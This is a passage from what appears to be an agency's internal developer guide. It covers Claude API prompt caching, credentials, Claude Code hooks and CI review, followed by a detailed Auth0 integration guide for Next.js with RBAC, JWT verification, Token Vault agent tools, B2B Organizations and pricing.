When you reuse the same large block across calls — a frozen system prompt, a long tool set, retrieved RAG context — mark it with cache_control: { type: "ephemeral" }. Anthropic caches that prefix and serves it back at a fraction of input cost on cache hits, with lower latency: 0.05× on Opus 5.5 and Sonnet 5.5, 0.025× on Fable 5.1, 0.1× on everything else (Haiku 5.5 included). For codeAmani's AI features (review bots, support agents, Swahili/English assistants) this is the single biggest cost lever when the per-request question is small but the shared context is huge.

The one rule: caching is a prefix match. Render order is tools → system → messages, and any byte change before a breakpoint invalidates everything after it. Keep stable content first; put volatile content (the user's question, a timestamp, a per-request ID) after the last breakpoint.

Two ways to cache. Automatic caching — set one cache_control: { type: "ephemeral" } at the top level of the request and Anthropic manages the breakpoint, moving it forward to the last cacheable block as a conversation grows (ideal for multi-turn chat/agents). Explicit breakpoints — the block-level markers shown below, for fine-grained control over exactly what caches. Automatic caching consumes one of your 4 breakpoint slots. The explicit form is used in this example because codeAmani's hot paths reuse a fixed tool set + system prompt.

import Anthropic from "@anthropic-ai/sdk";

const client = new Anthropic();

const message = await client.messages.create({
  model: "claude-opus-5-5",
  max_tokens: 16000,
  // Cache the tool set — tools render at position 0, so this prefix is reused first.
  tools: [
    {
      name: "search_orders",
      description: "Look up orders by customer email.",
      input_schema: {
        type: "object",
        properties: { email: { type: "string" } },
        required: ["email"],
      },
      cache_control: { type: "ephemeral" },
    },
  ],
  // Cache the large, frozen system prompt — breakpoint on the LAST block caches tools + system together.
  system: [
    {
      type: "text",
      text: LARGE_SHARED_PROMPT, // e.g. product catalog, brand rules, RAG context
      cache_control: { type: "ephemeral" }, // add `ttl: "1h"` for bursty traffic with idle gaps
    },
  ],
  // Volatile content goes last, after the cached prefix — no marker here.
  messages: [{ role: "user", content: "Where is my last order?" }],
});

// Confirm it worked — cache_read_input_tokens should be > 0 on the 2nd+ identical-prefix call.
console.log(message.usage.cache_read_input_tokens, message.usage.cache_creation_input_tokens);

Notes that bite in practice:

Via the AI Gateway: when calling Claude through the Vercel AI SDK with anthropic/... model strings (codeAmani's default — see the insight), set the marker as providerOptions: { anthropic: { cacheControl: { type: "ephemeral" } } } on the message or content part (camelCase in the AI SDK) so it reaches the underlying API as cache_control. Caching is an Anthropic-side feature; the gateway forwards it but does not invent it.

flowchart LR
  A["Request · tools then system then messages"] --> B{"Prefix byte-identical<br/>to a cached entry"}
  B -->|"yes · cache hit"| C["Served at 0.025×–0.1× input cost<br/>cache_read_input_tokens > 0"]
  B -->|"no · cache miss"| D["Full price · writes cache<br/>at 1.25× then reusable"]
  D --> E["Next call reuses the prefix"]
  E --> B

Canonical reference: https://platform.claude.com/docs/en/build-with-claude/prompt-caching


Authentication and Environment Variables

An unset ANTHROPIC_API_KEY does not mean you have no credentials. The SDKs and the ant CLI resolve in this order, first match wins:

  1. ANTHROPIC_API_KEY
  2. ANTHROPIC_AUTH_TOKEN
  3. The ANTHROPIC_PROFILE-selected (or active) OAuth profile from ant auth login
  4. Workload Identity Federation environment variables
  5. The default profile on disk

A bare new Anthropic() therefore works after ant auth login with no env var set. Check which source is actually live before concluding a key is missing:

ant auth status   # shows the active credential source and profile
ant auth login    # stores a profile under ~/.config/anthropic/ that the SDKs read
# Server-side only — never ship this into a client bundle
ANTHROPIC_API_KEY=sk-ant-...

That is the only secret. The rest are optional, non-secret settings. Set them in your shell profile or project config when you need them, not in the vault:

Variable Example What it does
ANTHROPIC_BASE_URL https://api.anthropic.com (default) Point the SDKs / CLI at a proxy or gateway
ANTHROPIC_MODEL claude-opus-5-5 (or an alias like opus) Model for the claude CLI
ANTHROPIC_PROFILE work Select a named ant auth login profile
CLAUDE_CODE_MAX_OUTPUT_TOKENS 32000 Claude Code output cap (capped per model)
CLAUDE_CODE_EFFORT_LEVEL high Claude Code effort: low · medium · high · xhigh · max · auto

Put the key in .env.local for local dev and the Vercel dashboard for production. For codeAmani, the Hazina vault is the source of truth for real keys; the value above is a placeholder.

Raw curl under OAuth: an ant profile is not an API key. Mint a short-lived token with ant auth print-credentials --access-token, then send it as Authorization: Bearer <token> plus the header anthropic-beta: oauth-2025-04-20. OAuth tokens do not go in x-api-key — converting a working curl from an API key is a header change, not just a value swap.


Automation Workflows

Claude Code Hooks

Hooks run shell commands automatically at lifecycle events. Configure in .claude/settings.json. Command hooks receive the event as JSON on stdin (for tool events, tool_name and tool_input), so extract fields with jq rather than relying on environment variables:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "jq -r '.tool_input.command' >> .claude/audit.log"
          }
        ]
      }
    ],
    "PostToolUse": [
      {
        "matcher": "Edit|Write",
        "hooks": [
          {
            "type": "command",
            "command": "jq -r '.tool_input.file_path' | xargs npx prettier --write"
          }
        ]
      }
    ],
    "Stop": [
      {
        "hooks": [
          {
            "type": "command",
            "command": "node \"$CLAUDE_PROJECT_DIR\"/scripts/notify-complete.js"
          }
        ]
      }
    ]
  }
}

$CLAUDE_PROJECT_DIR points at the project root, so hook scripts resolve no matter which directory Claude is in.

Skills (formerly custom slash commands)

Custom commands have been merged into skills. A skill is a directory with a SKILL.md; its folder name (or frontmatter name) becomes the slash command. Files in .claude/commands/ keep working, but prefer skills for new work since they support supporting files and let Claude load them automatically when relevant.

mkdir -p .claude/skills/codeamani-review

.claude/skills/codeamani-review/SKILL.md:

---
description: Review code for security, performance, and codeAmani conventions.
---

Review the following code for: security issues, performance problems, and code quality.
Focus on: $ARGUMENTS
Provide actionable fixes with code examples.

Usage inside Claude Code: /codeamani-review src/api/auth.ts. (Avoid names like /review or /security-review: those are built-in commands.)

Headless Automation with the SDK

Use the Claude API to automate code review in CI. Stream it, since reviews of large diffs can run long:

// scripts/ai-review.ts
import Anthropic from "@anthropic-ai/sdk";
import { readFileSync } from "fs";

const client = new Anthropic();
const diff = readFileSync("latest.diff", "utf-8");

const stream = client.messages.stream({
  model: "claude-opus-5-5",
  max_tokens: 64000,
  output_config: { effort: "high" },
  system: "You are a senior code reviewer. Be concise and actionable.",
  messages: [{ role: "user", content: `Review this diff:\n\n${diff}` }],
});

const review = await stream.finalMessage();
for (const block of review.content) {
  if (block.type === "text") console.log(block.text);
}

If you'd rather reuse Claude Code's own tools and settings in CI, run claude -p "..." --output-format json instead, or embed the same harness with the Claude Agent SDK.


Common Use Cases

Use Case Approach
Automated PR review Fetch diff via gh, pipe to Claude API, or use anthropics/claude-code-action@v1
Code generation claude -p "Generate CRUD endpoints for User model"
Test generation Hook on PostToolUse with matcher Edit|Write to auto-generate tests
Documentation claude -p "Document all exported functions in src/"
Security scanning Combine with Semgrep output piped to Claude API
Refactoring Use --continue sessions for multi-step refactors

CLAUDE.md Configuration

Create CLAUDE.md at your project root to give Claude Code persistent context:

# Project Context

## Tech Stack
- TypeScript, Node.js 22, PostgreSQL
- Test runner: Vitest
- Linter: ESLint + Prettier

## Conventions
- Use `async/await` — no raw Promises
- All functions must have JSDoc comments
- Tests go in `__tests__/` next to source files

## Forbidden
- Never use `any` type
- Never commit `.env` files

Troubleshooting

Issue Fix
ANTHROPIC_API_KEY not found Run ant auth status first; otherwise export the key in your shell or load it from Hazina
Rate limit errors The SDK retries 429/5xx twice by default; add backoff on top. Opus 5.5 and Sonnet 5.5 have their own rate-limit pools
MCP server not connecting Run claude mcp list to verify registration; .mcp.json servers need approval first
Hooks not firing Check .claude/settings.json syntax with cat .claude/settings.json | jq .
Model not available Check the live list at platform.claude.com/docs/en/models/overview; never add a date suffix to a 5.x ID
400 thinking.type.disabled on Opus 5.5 Thinking can't be disabled; omit thinking and lower output_config.effort to low
400 thinking.type.disabled on Sonnet 5.5 Send thinking: { type: "between_tools" } at effort high or below
400 on budget_tokens Removed on Claude 5.x — use thinking: { type: "adaptive" } + output_config.effort
400 on tool_choice any/tool Forced tool use is removed on Opus 5.5 / Sonnet 5.5 / Fable 5.1; use auto + strict: true + a prompt instruction
400 on temperature or a prefilled assistant turn Both removed on Claude 5.x — shape output with output_config.format
HTTP 200 but no usable text Check stop_reason: refusal means a classifier declined (see stop_details.category); add fallbacks: "default"
Quality or latency changed after moving to Opus 5.5 Default effort is now medium; set output_config.effort explicitly and re-sweep
Reasoning UI shows a long blank pause display defaults to "omitted" — set thinking.display: "summarized" (or "updates" for agent progress)

Official docs:

Auth0 Integration Guide

Technology: auth0 · Category: auth · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/auth0

Insight:

Auth0 is advertised on motionstackstudios.com, but it is not a house default — the dashboard ships custom Argon2 + session auth, and Clerk is the managed-auth default. Reach for Auth0 only when a client specifically requires it: enterprise SSO/SAML, B2B Organizations, an existing Auth0 tenant, or Token Vault for an AI agent that acts in users' Google/GitHub/Slack accounts. Before adopting it, consult the codeAmani-tech-stack MCP and confirm the house defaults won't do.

 █████╗ ██╗   ██╗████████╗██╗  ██╗ ██████╗
██╔══██╗██║   ██║╚══██╔══╝██║  ██║██╔═████╗
███████║██║   ██║   ██║   ███████║██║██╔██║
██╔══██║██║   ██║   ██║   ██╔══██║████╔╝██║
██║  ██║╚██████╔╝   ██║   ██║  ██║╚██████╔╝
╚═╝  ╚═╝ ╚═════╝    ╚═╝   ╚═╝  ╚═╝ ╚═════╝

Auth0 Integration Guide

Focus: When and how codeAmani uses Auth0 for client projects that specifically need it: enterprise SSO/SAML, B2B Organizations, an inherited Auth0 tenant, or Auth0 for AI Agents (Token Vault). Covers the @auth0/nextjs-auth0 4.32 App Router SDK on Next.js 15/16 (proxy.ts, auth0.getSession()), RBAC, the Management API via the auth0 node SDK v7, JWT verification with jose, and Token Vault tools for agents.

Overview

Auth0 (an Okta company, branded "Auth0 by Okta") is an identity platform built on OAuth 2.0 / OIDC. Universal Login hosts the sign-in page. The app receives an authorization code at a callback, exchanges it for an encrypted session cookie, and reads the user from that session after that. Auth0 also covers social and enterprise connections, RBAC with permissions, post-login Actions, a Management API for user and role admin, Organizations for B2B multi-tenancy, and, since 2025, Auth0 for AI Agents: Token Vault, Async Authorization (CIBA), FGA for RAG, and Auth for MCP.

Auth0 is listed as an auth option on motionstackstudios.com, but it is not a house default. The agency's own dashboard runs custom Argon2id password hashing + server-side sessions, and Clerk (see the clerk guide) is the managed-auth default for most builds: drop-in components, Svix-verified webhooks, simpler pricing. Auth0 only earns a place when a client needs one of the things it does best:

flowchart TD
    A["New client build<br/>needs authentication"] --> B{"Hard requirement for Auth0?<br/>(enterprise SSO/SAML, B2B orgs,<br/>existing tenant, Token Vault)"}
    B -->|No| C["House defaults<br/>custom Argon2 + sessions · Clerk"]
    B -->|Yes| D["Auth0 tenant<br/>(per-client, isolated)"]
    D --> E["@auth0/nextjs-auth0 4.32<br/>Universal Login · proxy.ts"]
    E --> F["RBAC · Actions · Organizations"]
    E --> H["Auth0 for AI Agents<br/>Token Vault · CIBA"]
    F --> G["Management API (auth0 v7)<br/>JWT verify (jose) for APIs"]

Check first. Before adopting Auth0, query the codeAmani-tech-stack MCP (search_guides / get_guide) and confirm a cheaper option won't satisfy the requirement: Clerk (the managed default), the dashboard's custom Argon2 + sessions, or self-hosted Better Auth (see the better-auth guide: no per-MAU bill, a JOIN-able user table you own). Auth0 adds a vendor, per-MAU cost, and an extra tenant to operate. Prefer one of those unless the client specifically needs Auth0's enterprise SSO/SAML, B2B Organizations, or Token Vault.

The OAuth/OIDC login flow the SDK wires up:

sequenceDiagram
  participant U as "User"
  participant App as "Next.js app"
  participant PX as "proxy.ts (auth0.middleware)"
  participant A0 as "Auth0 (Universal Login)"
  U->>App: "Visit /dashboard (protected)"
  App->>PX: "Request hits proxy"
  PX->>A0: "No session → redirect to /authorize"
  A0->>U: "Universal Login (social / DB / enterprise)"
  U->>A0: "Authenticate (+ MFA if enforced)"
  A0->>App: "Redirect to /auth/callback?code=..."
  App->>A0: "Exchange code for ID + access + refresh tokens"
  A0-->>App: "Tokens → set encrypted session cookie"
  App-->>U: "Render /dashboard (auth0.getSession())"

Official Documentation

Resource URL
Auth0 Docs (root) https://auth0.com/docs
Next.js SDK (@auth0/nextjs-auth0 v4) https://github.com/auth0/nextjs-auth0
Next.js SDK examples (EXAMPLES.md) https://github.com/auth0/nextjs-auth0/blob/main/EXAMPLES.md
Management API v2 https://auth0.com/docs/api/management/v2
auth0 node SDK v7 migration guide https://github.com/auth0/node-auth0/blob/master/v7_MIGRATION_GUIDE.md
Actions (post-login triggers) https://auth0.com/docs/customize/actions
RBAC (roles & permissions) https://auth0.com/docs/manage-users/access-control/rbac
Organizations (B2B) https://auth0.com/docs/manage-users/organizations
Token Vault https://auth0.com/docs/secure/call-apis-on-users-behalf/token-vault
Auth0 for AI Agents docs https://auth0.com/ai/docs/intro/overview
Pricing https://auth0.com/pricing

No house Auth0 MCP server. Auth0 publishes @auth0/auth0-mcp-server (tenant management from an AI client), but it is still beta (0.1.0-beta.19), so it isn't in the house stack. This Claude Code environment has the auth0 plugin skills (auth0:auth0-nextjs, auth0:auth0-migration, auth0:auth0-mfa, …), and @auth0/nextjs-auth0 ≥ 4.31.1 ships agent skills inside the package. When unsure about a current API, query Context7 (/auth0/nextjs-auth0, /websites/auth0_ai) rather than recalling v3 patterns.


Next.js App Router Setup (@auth0/nextjs-auth0 v4)

The v4 SDK (current: 4.32.1, peer next ^14.2.35 || ~15.x patched || ^16.0.10, React ^18 || ^19.2.1) is a clean break from v3. There is no handleAuth() catch-all route and no UserProvider wrapper you need. You instantiate a single Auth0Client, mount it in proxy.ts (Next.js 16) or middleware.ts (Next.js 15), and the SDK serves /auth/login, /auth/logout, /auth/callback, /auth/profile, /auth/access-token, /auth/backchannel-logout, and /auth/connect if you turn it on.

npm install @auth0/nextjs-auth0   # 4.32.1 at last review — use ≥ 4.32.0 (open-redirect fix)

A complete, type-checked app lives in examples/nextjs-app-router/.

1. The Auth0 client

lib/auth0.ts:

import { Auth0Client } from "@auth0/nextjs-auth0/server";

// Reads AUTH0_DOMAIN, AUTH0_CLIENT_ID, AUTH0_CLIENT_SECRET, AUTH0_SECRET,
// and APP_BASE_URL from the environment automatically.
export const auth0 = new Auth0Client({
  authorizationParameters: {
    scope: "openid profile email offline_access",
    // Set an audience to receive a JWT access token for your own API.
    audience: process.env.AUTH0_AUDIENCE,
  },
  // Only if you use Token Vault: mounts /auth/connect for connected accounts.
  // enableConnectAccountEndpoint: true,
});

2. proxy.ts mounts the routes

Next.js 16 renamed middleware.ts to proxy.ts and the export from middleware to proxy. middleware.ts still works on the Edge runtime in Next 16, but it is deprecated for Node and will be removed later.

proxy.ts (project root):

import { auth0 } from "./lib/auth0";

export async function proxy(request: Request) {
  // Serves /auth/* and rolls the session cookie on every request.
  return await auth0.middleware(request);
}

export const config = {
  matcher: ["/((?!_next/static|_next/image|favicon.ico|sitemap.xml|robots.txt).*)"],
};

Next.js 15: name the file middleware.ts and export async function middleware(request: NextRequest). The body is identical. All helpers (getSession, updateSession, getAccessToken) work the same on both.

3. The login / logout UI

The SDK exposes the auth actions as plain links. No client component is needed.

app/layout.tsx:

import type { ReactNode } from "react";
import { auth0 } from "@/lib/auth0";

export default async function RootLayout({ children }: { children: ReactNode }) {
  const session = await auth0.getSession();

  return (
    <html lang="en">
      <body>
        <header style={{ display: "flex", justifyContent: "flex-end", gap: 12, padding: 16 }}>
          {session ? (
            <a href="/auth/logout">Log out ({session.user.name})</a>
          ) : (
            <a href="/auth/login?returnTo=/dashboard">Log in</a>
          )}
        </header>
        {children}
      </body>
    </html>
  );
}

Gotcha: In v4 the login route is /auth/login, not /api/auth/login (that was v3). Use plain <a> tags, not <Link>, because the auth routes need full navigations. If you rename routes with the routes option on Auth0Client, update these links to match.


Protecting Routes

There are two layers. The proxy refreshes and attaches the session, and each protected page or API route reads it.

Server Components

app/dashboard/page.tsx:

import { redirect } from "next/navigation";
import { auth0 } from "@/lib/auth0";

export default async function DashboardPage() {
  const session = await auth0.getSession();

  if (!session) {
    // Bounce through Universal Login, then return here.
    redirect("/auth/login?returnTo=/dashboard");
  }

  return <h1>Welcome, {session.user.name}</h1>;
}

Or wrap it with the helper. returnTo is required in the App Router because Server Components don't know their own URL:

import { auth0 } from "@/lib/auth0";

export default auth0.withPageAuthRequired(
  async function Profile() {
    const session = await auth0.getSession();
    return <div>Hello {session?.user.name}</div>;
  },
  { returnTo: "/profile" }
);

API Route Handlers

app/api/me/route.ts:

import { NextResponse } from "next/server";
import { auth0 } from "@/lib/auth0";

export async function GET() {
  const session = await auth0.getSession();

  if (!session) {
    return NextResponse.json({ error: "Unauthorized" }, { status: 401 });
  }

  // Never return session.tokenSet to the browser.
  return NextResponse.json({ user: session.user });
}

RBAC (Roles & Permissions)

Enable RBAC on the API in the Auth0 dashboard (APIs → your API → RBAC Settings → "Enable RBAC" + "Add Permissions in the Access Token"). Then assign roles to users. The role's permissions land in the access token's permissions claim. On B2C plans, Role Management needs Essentials or above (it isn't on Free).

Roles don't appear in the ID token by default. Surface them with a post-login Action under a namespaced custom claim, because Auth0 silently drops non-namespaced claims:

// Auth0 Dashboard → Actions → Library → Post Login
exports.onExecutePostLogin = async (event, api) => {
  const namespace = "https://motionstack.app";
  const roles = event.authorization?.roles ?? [];

  api.idToken.setCustomClaim(`${namespace}/roles`, roles);
  api.accessToken.setCustomClaim(`${namespace}/roles`, roles);
};

Read roles from the session:

// lib/rbac.ts
import { auth0 } from "@/lib/auth0";

const NS = "https://motionstack.app";

export async function getRoles(): Promise<string[]> {
  const session = await auth0.getSession();
  const claim: unknown = session?.user?.[`${NS}/roles`];
  return Array.isArray(claim) ? claim.filter((r): r is string => typeof r === "string") : [];
}

Gotcha: Custom claims must be fully-qualified URLs (a namespace you control). Auth0 strips a bare roles claim, so it will silently never appear in the token.


Management API (the auth0 node SDK, v7)

For server-side user and role admin (listing users, assigning roles, updating metadata), use the auth0 node SDK's ManagementClient. Create a Machine-to-Machine application in the dashboard, authorize it for the Auth0 Management API, and grant only the scopes you need (read:users, update:users, create:role_members, …). The SDK fetches and caches its own token with client credentials.

npm install auth0   # 7.6.0 at last review — Node ^20.19 || ^22.12 || ^24 || ^26
// lib/auth0-management.ts
import { ManagementClient } from "auth0";

export const management = new ManagementClient({
  domain: process.env.AUTH0_DOMAIN!,           // bare host, e.g. acme.us.auth0.com — v7 throws on a scheme
  clientId: process.env.AUTH0_M2M_CLIENT_ID!,
  clientSecret: process.env.AUTH0_M2M_CLIENT_SECRET!,
});

/** Assign a role to a user (e.g. after a Stripe upgrade webhook). */
export async function grantRole(userId: string, roleId: string): Promise<void> {
  await management.users.roles.assign(userId, { roles: [roleId] });
}

/** Persist app-level state on the Auth0 user record. */
export async function setPlan(userId: string, plan: string): Promise<void> {
  await management.users.update(userId, { app_metadata: { plan } });
}

/** Look up a user by email (admin tooling). */
export async function findByEmail(email: string) {
  // v5+ returns the array directly — there is no `.data` wrapper.
  return await management.users.listUsersByEmail({ email });
}

v7 (Sep 2026) breaking changes. ManagementClient and its method surface are unchanged from v5/v6. The code above type-checks against 7.6.0. What changed:

  • AuthenticationClient and UserInfoClient are gone from the auth0 entrypoint. Token grants moved to AuthClient in @auth0/auth0-auth-js (for example, getTokenByClientCredentials(...)). auth0/legacy keeps the old clients as a temporary stopgap.
  • domain must be a bare hostname. A scheme, slash, or query string throws at construction.
  • Token failures throw ManagementError (with statusCode and a parsed body). A token request over 10 s throws 408.
  • useMTLS: true now needs an explicit fetch that carries the client certificate.

The v5 regeneration is still the big one if you're coming from v4: positional args (users.update(userId, body)), sub-clients (users.roles.assign, users.listUsersByEmail), and no { data } wrapper (use .withRawResponse() for headers). Any snippet with assignRoles(...), usersByEmail.getByEmail(...), or { id }-wrapped args is pre-v5 and won't compile.

Gotcha: The Management API is heavily rate-limited, and M2M tokens are metered by plan (1,000/month on Free and Essentials, 5,000 on Professional). Never call it on a hot request path. Call it only from webhooks, admin actions, and background jobs. Use app_metadata (server-controlled) for authorization-relevant fields and user_metadata (user-editable) for preferences.


JWT Verification for APIs

When a separate service (a mobile app, a backend microservice, a third party) calls your API with a Bearer token issued by Auth0, verify the JWT against Auth0's published JWKS. Check the signature, issuer, audience, and expiry. The house choice is jose (6.2.12). It runs on Node, Edge, and Workers runtimes, and createRemoteJWKSet caches the keys. jsonwebtoken + jwks-rsa still work, but only on Node. For Express services, use Auth0's express-oauth2-jwt-bearer (1.11.0).

npm install jose
// lib/verify-jwt.ts
import { createRemoteJWKSet, jwtVerify, type JWTPayload } from "jose";

const issuer = `https://${process.env.AUTH0_DOMAIN}/`;
const JWKS = createRemoteJWKSet(new URL(`${issuer}.well-known/jwks.json`));

export type Auth0Claims = JWTPayload & { scope?: string; permissions?: string[] };

/** Verify signature (RS256), issuer, audience and expiry; return the claims. */
export async function verifyAccessToken(token: string): Promise<Auth0Claims> {
  const { payload } = await jwtVerify<Auth0Claims>(token, JWKS, {
    issuer,
    audience: process.env.AUTH0_AUDIENCE,
    algorithms: ["RS256"],
  });
  return payload;
}

export function hasScope(claims: Auth0Claims, needed: string): boolean {
  const scopes = claims.scope?.split(" ") ?? [];
  return scopes.includes(needed) || (claims.permissions ?? []).includes(needed);
}

Use it to guard a machine-facing route:

// app/api/v1/orders/route.ts
import { NextResponse, type NextRequest } from "next/server";
import { hasScope, verifyAccessToken } from "@/lib/verify-jwt";

export async function GET(req: NextRequest) {
  const auth = req.headers.get("authorization");
  if (!auth?.startsWith("Bearer ")) {
    return NextResponse.json({ error: "Missing bearer token" }, { status: 401 });
  }

  try {
    const claims = await verifyAccessToken(auth.slice(7));
    if (!hasScope(claims, "read:orders")) {
      return NextResponse.json({ error: "Insufficient scope" }, { status: 403 });
    }
    return NextResponse.json({ sub: claims.sub, orders: [] });
  } catch {
    return NextResponse.json({ error: "Invalid token" }, { status: 401 });
  }
}

Note: This is for separate API callers. For the browser app itself, auth0.getSession() is the path. Don't re-verify the SDK's own session cookie by hand.


Calling Your Own API From the App

When the app needs to call a downstream API with a real Auth0-issued access token, get it with auth0.getAccessToken(). The SDK handles refresh through offline_access:

// app/api/data/route.ts
import { NextResponse } from "next/server";
import { auth0 } from "@/lib/auth0";

export async function GET() {
  const { token } = await auth0.getAccessToken();

  const res = await fetch("https://data-api.example.com/records", {
    headers: { Authorization: `Bearer ${token}` },
  });

  return NextResponse.json(await res.json());
}

Auth0 for AI Agents (Token Vault, CIBA)

Auth0 for AI Agents is Auth0's identity layer for agents. It has four parts:

Capability What it does When codeAmani uses it
Token Vault Stores users' third-party OAuth refresh tokens (Google, GitHub, Slack, Salesforce, 30+ integrations, or any OAuth 2.0 provider) and hands the agent short-lived access tokens through token exchange. The agent never sees the user's credentials. An agent that reads a user's calendar or inbox, or opens PRs, on that user's behalf
Async Authorization (CIBA) Human-in-the-loop approval. The tool pauses until the user approves a push or email prompt with a binding message. High-risk tool calls: payments, trades, deletes
FGA for RAG Filters retrieved documents by the user's fine-grained permissions before they reach the model Multi-tenant RAG over private documents
Auth for MCP OAuth 2.1 / OIDC for remote MCP servers: client registration, resource-scoped tokens, and on-behalf-of token exchange Shipping a hosted MCP server that needs user auth

Pricing: on paid plans, Auth0 for AI Agents is an add-on that adds 50% to the base price (unlimited Token Vault + all forms of CIBA). The Free plan includes Token Vault (limit "2") but not CIBA. See Pricing.

Connecting an account (Next.js SDK)

Turn on enableConnectAccountEndpoint: true in Auth0Client, enable Offline Access in the connection's permissions, then send the user to the connect endpoint:

<a href="/auth/connect?connection=google-oauth2&returnTo=/dashboard">Connect Google Calendar</a>

You can do the same thing in code with auth0.connectAccount({ connection, scopes, authorizationParams, returnTo }), which returns a redirect NextResponse. For a non-agent server route, auth0.getAccessTokenForConnection({ connection: "github" }) returns { token } for a connected account.

A Token Vault tool for an agent (@auth0/ai-vercel)

npm install @auth0/ai-vercel @auth0/ai ai@6 zod   # ai-vercel 5.1.1 peers on ai ^5 || ^6 — not ai 7 yet
// lib/auth0-ai.ts
import { Auth0AI, getAccessTokenFromTokenVault } from "@auth0/ai-vercel";
import { TokenVaultError } from "@auth0/ai/interrupts";
import { tool } from "ai";
import { z } from "zod";
import { auth0 } from "@/lib/auth0";

// Defaults to AUTH0_DOMAIN / AUTH0_CLIENT_ID / AUTH0_CLIENT_SECRET.
const auth0AI = new Auth0AI();

export const withGoogleCalendar = auth0AI.withTokenVault({
  connection: "google-oauth2",
  scopes: ["openid", "https://www.googleapis.com/auth/calendar.freebusy"],
  refreshToken: async () => (await auth0.getSession())?.tokenSet.refreshToken,
});

export const checkCalendar = withGoogleCalendar(
  tool({
    description: "Check whether the user is free for one hour from the given time",
    inputSchema: z.object({ start: z.string() }),
    execute: async ({ start }) => {
      const accessToken = getAccessTokenFromTokenVault(); // short-lived Google token
      const timeMin = new Date(start);
      const res = await fetch("https://www.googleapis.com/calendar/v3/freeBusy", {
        method: "POST",
        headers: { Authorization: `Bearer ${accessToken}`, "Content-Type": "application/json" },
        body: JSON.stringify({
          timeMin: timeMin.toISOString(),
          timeMax: new Date(timeMin.getTime() + 3_600_000).toISOString(),
          items: [{ id: "primary" }],
        }),
      });
      if (res.status === 401) throw new TokenVaultError("Authorization required to access Google Calendar");
      const data = (await res.json()) as { calendars?: { primary?: { busy?: unknown[] } } };
      return { available: (data.calendars?.primary?.busy?.length ?? 0) === 0 };
    },
  }),
);

In the agent route, call setAIContext({ threadID }) before streamText(...) so Token Vault credentials are cached per thread (the default credentialsContext is "thread"). For chat UIs, wrap the stream in withInterruptions(...) from @auth0/ai-vercel/interrupts so a TokenVaultError becomes a "connect your account" prompt instead of a failure. CIBA works the same way: auth0AI.withAsyncAuthorization({ userID, bindingMessage, scopes, audience }) wraps a tool, and getAsyncAuthorizationCredentials() reads the approved token inside it. LangChain and LlamaIndex users get the same API from @auth0/ai-langchain and @auth0/ai-llamaindex.

AI routing still applies. Token Vault is about whose credentials a tool uses. The model choice follows house routing (Claude primary). The example routes the model through the Vercel AI Gateway by string id.


Organizations (B2B Multi-Tenancy)

For B2B clients, Organizations model each customer company as a tenant with its own members, roles, and its own enterprise connection. That way Acme logs in through their Okta SAML and Globex through their Entra ID, all in one Auth0 tenant. Enable "Organizations" on the application, then route users through an org-scoped login:

// app/teams/[orgId]/login/route.ts
import { redirect } from "next/navigation";

export async function GET(_: Request, { params }: { params: Promise<{ orgId: string }> }) {
  const { orgId } = await params; // Next.js 15+: params is a Promise
  redirect(`/auth/login?organization=${encodeURIComponent(orgId)}&returnTo=/teams/${encodeURIComponent(orgId)}`);
}

The active organization lands in the session as the org_id claim. Gate org-scoped data on it. This is the main reason a codeAmani client picks Auth0 over Clerk: per-organization SAML/OIDC enterprise connections out of the box. As of 2026 the Free plan includes 1 enterprise connection, 5 Organizations, Self-Service SSO, and inbound SCIM, so a pilot with one enterprise customer can start at $0.


Pricing (checked 2026-10-20)

Source: https://auth0.com/pricing. Paid plans are priced by MAU tier, and B2C and B2B differ. Yearly billing is 11× the monthly price.

Plan B2C from B2B from Notes
Free $0 $0 Up to 25,000 MAU, 1 custom domain, 5 Organizations, 1 enterprise connection, Self-Service SSO, SCIM, 1,000 M2M tokens, Token Vault (2)
Essentials $35/mo (500 MAU) $150/mo (500 MAU) Pro MFA, RBAC, log streaming. B2B adds unlimited Orgs + 3 enterprise SSO connections
Professional $240/mo (500 MAU) $800/mo (500 MAU) Enhanced attack protection, custom DB, Enterprise MFA, 5,000 M2M tokens
Enterprise Contact sales Contact sales 99.99% SLA, HIPAA/BAA add-on, private deployment

Add-ons: Auth0 for AI Agents adds +50% of base. Extra enterprise SSO connections are $100/mo each (max 30). Enterprise MFA on Essentials is $100/mo. M2M token packs start at $10/mo (B2B, 2,500 tokens). A client between tiers is billed at the next tier up.


Environment Variables

Secrets (store in the vault, never in the bundle):

AUTH0_CLIENT_SECRET=your-regular-web-app-client-secret
AUTH0_SECRET=output-of-openssl-rand-hex-32
AUTH0_M2M_CLIENT_SECRET=your-m2m-client-secret

Non-secret settings:

Variable Example Purpose
AUTH0_DOMAIN acme.us.auth0.com Tenant (or custom) domain. Bare host, no https:// (the v7 node SDK throws on a scheme)
AUTH0_CLIENT_ID from the dashboard The Regular Web Application's client ID
APP_BASE_URL http://localhost:3000 Your app's base URL (prod: https://app.example.com)
AUTH0_AUDIENCE https://api.example.com Optional. API identifier, so you get a JWT access token
AUTH0_M2M_CLIENT_ID from the dashboard Management API M2M application
AI_MODEL an AI Gateway model id Only for the agent example

Add these to ENV_MASTER.md and each project's .env.example. AUTH0_SECRET encrypts the session cookie. If you rotate it, every session is invalidated, so treat it like a signing key and keep it identical across instances. AUTH0_DOMAIN must be the bare host: the v3 AUTH0_ISSUER_BASE_URL (with a scheme) is gone, and AUTH0_BASE_URL was renamed to APP_BASE_URL in v4.


Automation Workflows

Claude Code slash command: scaffold Auth0 auth

.claude/commands/auth0-setup.md:

Scaffold @auth0/nextjs-auth0 v4 (≥ 4.32) authentication for this Next.js App Router project.

First confirm Auth0 is actually required (enterprise SSO/SAML, B2B orgs, an
existing tenant, or Token Vault for an agent). If not, recommend Clerk per the
house default and stop. Then:

1. Run `npm view @auth0/nextjs-auth0 version` and install that version.
2. Create `lib/auth0.ts` exporting a configured `Auth0Client`.
3. Next.js 16: create `proxy.ts` exporting `proxy(request)` → `auth0.middleware(request)`.
   Next.js 15: `middleware.ts` exporting `middleware`. Use the asset-excluding matcher.
4. Add log-in / log-out links to `app/layout.tsx` (`/auth/login`, `/auth/logout`) as plain <a>.
5. Add a protected `app/dashboard/page.tsx` using `auth0.getSession()`.
6. Document the env vars in `.env.example` (secrets as empty placeholders).
7. Report manual dashboard steps: create the app, set Allowed Callback URLs to
   `${APP_BASE_URL}/auth/callback` and Allowed Logout URLs to `${APP_BASE_URL}`.

Usage: /project:auth0-setup. The auth0:auth0-nextjs plugin skill covers the same ground interactively.

GitHub Actions: verify Auth0 config

